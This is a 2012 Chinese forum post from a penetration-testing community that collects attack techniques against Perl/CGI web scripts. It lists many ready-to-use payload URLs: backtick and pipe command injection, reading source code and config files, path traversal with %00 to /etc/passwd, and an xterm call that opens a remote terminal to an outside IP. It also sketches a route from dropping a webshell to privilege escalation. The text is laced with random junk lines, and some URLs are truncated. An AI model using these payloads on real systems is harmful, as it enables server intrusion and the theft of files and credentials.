中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
7 }+ X% B. \0 W8 Q
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
' M+ q& [) E9 v( }$ d- ?
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
0 \/ K. H; g( n; Y8 X
注“
G/ E/ ]+ Z8 U* _! y. g; [
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
5 [& `7 U; V; X( m; f8 `
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
4 B" k8 a3 o/ C) H4 s" U
2 D+ p Z c4 y: P5 D' r3 V$ _2 h9 V
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
; B, @7 F2 Q* N4 I% ?
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
3 w' a6 E" T" c# t: `' s) k! M7 }
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
* g0 \" x5 b! v. L2 Y2 h( C
http://target.com/cgi-bin/home/news/sub.pl?`id`
, ]* m* L" f9 K3 Y+ z
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
8 {: z8 _; \( W# L- _
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
8 A' B+ @, Q6 u/ I' \, B" v& S$ k
2 K" `8 ~6 G( X: P
http://target.com/test.pl;ls
|
* D3 k+ w5 i# i; l: K
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
9 W, @7 u4 ?. ^
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
( V, m2 t2 D+ U. h& |
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
) w7 ?; j1 \" h# l9 [- s
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
5 n4 a; v* M+ B, R, M$ }
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
8 {1 S# P5 w; N; `1 Y' u- G% h; N
# ?! W: G$ n3 i% p# s% J1 o
http://target.com/test.pl?&........
/../../etc/passwd
& K# Z+ Q9 e i; W9 _! S
|$ Q/ O+ T9 C6 L' R
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
2 t$ B' y. \& c2 G# X! z+ J
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
; o$ _! n! y+ f2 `, V& x. v, D
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
; `. o" h$ b6 S
; v; ~% Z' j F' S, P: g2 j9 Q& K
http://www.target.org/show.php?f
... /include/config.php 查看php代码
& w9 U, T* o1 z! z
http://www.target.org/show.php?f
... ng/admin/global.php
1 ~8 L% X3 n4 e1 i
6 I4 u9 A: b7 ?
emm和ps的一句话
$ z- W1 u% u- |6 n, [( k8 v
: J5 o @! V5 f8 H3 I P
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
5 ?$ C/ [6 z3 X4 n G
- ~- ~2 p$ X/ m) q4 `
>bbb%20|
6 A( G' Y) H7 X7 k( n
- j9 i _9 @4 ?$ T& a
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
" v/ v0 d* [( h+ \# ], k' J! R
/ B0 X6 M5 K0 Q& j+ n
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
- F. v W- R3 {2 f3 l' a2 w' [
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
- k" S$ h5 Z5 }) l
! ~+ I# L. S. W5 S* J* }( |! |
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
$ c" K: S/ H) U5 G* U ]6 Z
http://target.com/index.html#cmd.exe
' s2 S2 E0 q0 A! f) h
http://target.com/index.html?dummyparam=xp_cmdshell
3 H( T$ J, {2 F# ^$ @8 m
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
' u& k* T) M% Z E x0 ]7 t( f+ S
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2